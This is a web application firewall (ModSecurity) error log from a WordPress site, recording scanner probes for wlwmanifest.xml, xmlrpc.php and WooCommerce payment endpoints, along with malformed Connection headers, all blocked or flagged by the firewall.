[Wed Jan 14 23:29:20.757450 2026] [:error] [pid 61468:tid 61490] [client 35.227.166.238:58754] [client 35.227.166.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aWe2UNfEBBL2jp9TJvLaJgAAAJM"]
[Wed Jan 14 23:29:21.472864 2026] [:error] [pid 7961:tid 7972] [client 35.227.166.238:59848] [client 35.227.166.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aWe2UZjhjzEJ3QX9HuYf3QAAAEk"]
[Wed Jan 14 23:29:22.187519 2026] [:error] [pid 61468:tid 61473] [client 35.227.166.238:58047] [client 35.227.166.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aWe2UtfEBBL2jp9TJvLaKwAAAII"]
[Wed Jan 14 23:29:23.028579 2026] [:error] [pid 21490:tid 21498] [client 35.227.166.238:62698] [client 35.227.166.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aWe2U-26AHzy1muKyudsYwAAAQU"]
[Wed Jan 14 23:29:24.057722 2026] [:error] [pid 7961:tid 7979] [client 35.227.166.238:59980] [client 35.227.166.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aWe2VJjhjzEJ3QX9HuYf4wAAAFA"]
[Wed Jan 14 23:29:24.848225 2026] [:error] [pid 7961:tid 7968] [client 35.227.166.238:63606] [client 35.227.166.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aWe2VJjhjzEJ3QX9HuYf5gAAAEU"]
[Wed Jan 14 23:29:25.658924 2026] [:error] [pid 61378:tid 61438] [client 35.227.166.238:52721] [client 35.227.166.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aWe2VRGjJjuJmoPOtlpZ0gAAAAE"]
[Wed Jan 14 23:29:26.419746 2026] [:error] [pid 7961:tid 7984] [client 35.227.166.238:58817] [client 35.227.166.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aWe2VpjhjzEJ3QX9HuYf7QAAAFU"]
[Wed Jan 14 23:29:27.193734 2026] [:error] [pid 8057:tid 8071] [client 35.227.166.238:51316] [client 35.227.166.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aWe2V7FNJ5k8MCPHoPU0HQAAAMw"]
[Wed Jan 14 23:29:28.040995 2026] [:error] [pid 8057:tid 8075] [client 35.227.166.238:58351] [client 35.227.166.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aWe2WLFNJ5k8MCPHoPU0IAAAANA"]
[Wed Jan 14 23:29:29.034848 2026] [:error] [pid 8057:tid 8077] [client 35.227.166.238:54256] [client 35.227.166.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aWe2WbFNJ5k8MCPHoPU0IQAAANI"]
[Wed Jan 14 23:29:29.857498 2026] [:error] [pid 61468:tid 61481] [client 35.227.166.238:58860] [client 35.227.166.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aWe2WdfEBBL2jp9TJvLaMgAAAIo"]
[Wed Jan 14 23:29:30.626598 2026] [:error] [pid 61468:tid 61488] [client 35.227.166.238:54612] [client 35.227.166.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aWe2WtfEBBL2jp9TJvLaMwAAAJE"]
[Wed Jan 14 23:29:31.345298 2026] [:error] [pid 21490:tid 21505] [client 35.227.166.238:58917] [client 35.227.166.238] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aWe2W-26AHzy1muKyudsZgAAAQw"]
[Thu Jan 15 03:35:22.003839 2026] [:error] [pid 8444:tid 8488] [client 62.171.152.107:11520] [client 62.171.152.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-json/wc/store/v1/payment_methods"] [unique_id "aWfv-s0XeR1n2qeXpgYPEgAAAQk"]
[Thu Jan 15 03:47:47.726318 2026] [:error] [pid 5292:tid 5363] [client 43.133.139.6:40538] [client 43.133.139.6] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWfy42WxK-ai3L9DjxbExgAAAIg"]
[Thu Jan 15 05:07:29.018219 2026] [:error] [pid 5290:tid 5309] [client 43.157.180.116:53578] [client 43.157.180.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWgFkTiQRfcmyoePXPei5AAAAAo"]
[Thu Jan 15 06:59:38.668348 2026] [:error] [pid 51807:tid 51821] [client 106.54.62.156:38066] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWgf2sMrH4_ge4gLwN0dIAAAAQw"]
[Thu Jan 15 10:35:11.321650 2026] [:error] [pid 5292:tid 5364] [client 43.165.189.206:55700] [client 43.165.189.206] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWhSX2WxK-ai3L9DjxZN5wAAAIk"]
[Thu Jan 15 11:41:07.668313 2026] [:error] [pid 51857:tid 51859] [client 43.130.67.33:59690] [client 43.130.67.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWhh03DlXoqhkNNyf_zHMgAAAUA"]
[Thu Jan 15 15:42:37.282394 2026] [:error] [pid 5290:tid 5309] [client 103.211.133.142:11673] [client 103.211.133.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.211.133.142, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWiabTiQRfcmyoePXPdziAAAAAo"]
[Thu Jan 15 16:34:31.903327 2026] [:error] [pid 5389:tid 5399] [client 43.164.196.57:47140] [client 43.164.196.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWiml0kzfklDSWCNrVJBRgAAAMg"]
[Thu Jan 15 17:37:57.761493 2026] [:error] [pid 51807:tid 51832] [client 43.130.26.3:50358] [client 43.130.26.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWi1dcMrH4_ge4gLwN3xEQAAARc"]
[Thu Jan 15 19:15:22.009771 2026] [:error] [pid 51857:tid 51873] [client 122.51.236.174:35602] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWjMSnDlXoqhkNNyf_yQNAAAAU4"]
[Thu Jan 15 21:57:20.457926 2026] [:error] [pid 51857:tid 51872] [client 170.106.65.93:33976] [client 170.106.65.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWjyQHDlXoqhkNNyf_y-BwAAAU0"]
[Fri Jan 16 00:25:05.558258 2026] [:error] [pid 51807:tid 51822] [client 34.75.65.25:50937] [client 34.75.65.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.75.65.25, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aWkU4cMrH4_ge4gLwN1SfgAAAQ0"]
[Fri Jan 16 00:25:07.291014 2026] [:error] [pid 51807:tid 51813] [client 34.75.65.25:50937] [client 34.75.65.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aWkU48MrH4_ge4gLwN1ShAAAAQQ"]
[Fri Jan 16 00:25:08.267657 2026] [:error] [pid 21666:tid 21695] [client 34.75.65.25:52337] [client 34.75.65.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aWkU5KM9zD2y6IZZ4RSZxQAAAZg"]
[Fri Jan 16 00:25:09.249123 2026] [:error] [pid 51857:tid 51864] [client 34.75.65.25:52126] [client 34.75.65.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aWkU5XDlXoqhkNNyf_zxZQAAAUU"]
[Fri Jan 16 00:25:10.115112 2026] [:error] [pid 5389:tid 5391] [client 34.75.65.25:58485] [client 34.75.65.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aWkU5kkzfklDSWCNrVK1ggAAAMA"]
[Fri Jan 16 00:25:10.973401 2026] [:error] [pid 5389:tid 5392] [client 34.75.65.25:51536] [client 34.75.65.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aWkU5kkzfklDSWCNrVK1hAAAAME"]
[Fri Jan 16 00:25:11.958160 2026] [:error] [pid 51807:tid 51815] [client 34.75.65.25:57388] [client 34.75.65.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aWkU58MrH4_ge4gLwN1SiwAAAQY"]
[Fri Jan 16 00:25:12.807592 2026] [:error] [pid 21666:tid 21691] [client 34.75.65.25:64962] [client 34.75.65.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aWkU6KM9zD2y6IZZ4RSZyQAAAZQ"]
[Fri Jan 16 00:25:13.821844 2026] [:error] [pid 21666:tid 21689] [client 34.75.65.25:55009] [client 34.75.65.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aWkU6aM9zD2y6IZZ4RSZywAAAZI"]
[Fri Jan 16 00:25:14.712477 2026] [:error] [pid 51807:tid 51824] [client 34.75.65.25:62774] [client 34.75.65.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aWkU6sMrH4_ge4gLwN1SjQAAAQ8"]
[Fri Jan 16 00:25:15.793505 2026] [:error] [pid 21666:tid 21686] [client 34.75.65.25:62774] [client 34.75.65.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aWkU66M9zD2y6IZZ4RSZ0AAAAY8"]
[Fri Jan 16 00:25:16.735263 2026] [:error] [pid 21666:tid 21682] [client 34.75.65.25:60478] [client 34.75.65.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aWkU7KM9zD2y6IZZ4RSZ0QAAAYs"]
[Fri Jan 16 00:25:17.721456 2026] [:error] [pid 5291:tid 5332] [client 34.75.65.25:58879] [client 34.75.65.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aWkU7Tp5twZ54fay3RcAMwAAAEU"]
[Fri Jan 16 01:40:22.036334 2026] [:error] [pid 5389:tid 5397] [client 117.62.235.53:32849] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWkmhkkzfklDSWCNrVLG7AAAAMY"]
[Fri Jan 16 05:25:49.263950 2026] [:error] [pid 4655:tid 4669] [client 49.51.204.74:48712] [client 49.51.204.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWlbXYwNRVf4tI0Wv77CygAAAAU"]
[Fri Jan 16 07:40:29.060261 2026] [:error] [pid 4656:tid 4693] [client 223.244.35.77:33981] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWl67ajsvji3BAaL5mwymQAAAEI"]
[Fri Jan 16 11:01:29.416988 2026] [:error] [pid 29908:tid 29911] [client 43.159.139.164:41762] [client 43.159.139.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aWmqCWVs7GIQKAJ2aTVpHAAAAEE"]
[Fri Jan 16 13:45:05.036149 2026] [:error] [pid 29908:tid 29922] [client 182.44.2.148:53280] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWnQYWVs7GIQKAJ2aTW9jwAAAEw"]
[Fri Jan 16 17:01:25.908214 2026] [:error] [pid 54008:tid 54033] [client 84.247.169.220:54310] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aWn-ZceowS6CyLOmCzOi5wAAAJc"]
[Fri Jan 16 17:01:27.130421 2026] [:error] [pid 30866:tid 30911] [client 84.247.169.220:54516] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-json/wc/v3/payment_gateways"] [unique_id "aWn-Zyfb83E1Tbd0nr9rLgAAABA"]
[Fri Jan 16 17:01:28.543944 2026] [:error] [pid 30957:tid 30974] [client 84.247.169.220:54699] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-json/wc/v2/payment_gateways"] [unique_id "aWn-aN2pbRtnni7K9w8qJwAAAE4"]
[Fri Jan 16 17:01:29.814182 2026] [:error] [pid 54008:tid 54019] [client 84.247.169.220:54827] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-json/wc/store/v1/cart"] [unique_id "aWn-aceowS6CyLOmCzOi_AAAAIk"]
[Fri Jan 16 17:01:31.221957 2026] [:error] [pid 30925:tid 30950] [client 84.247.169.220:54983] [client 84.247.169.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-json/wc/store/v1/payment_methods"] [unique_id "aWn-a7Pyx6TwF5dNaFqiKQAAAZc"]
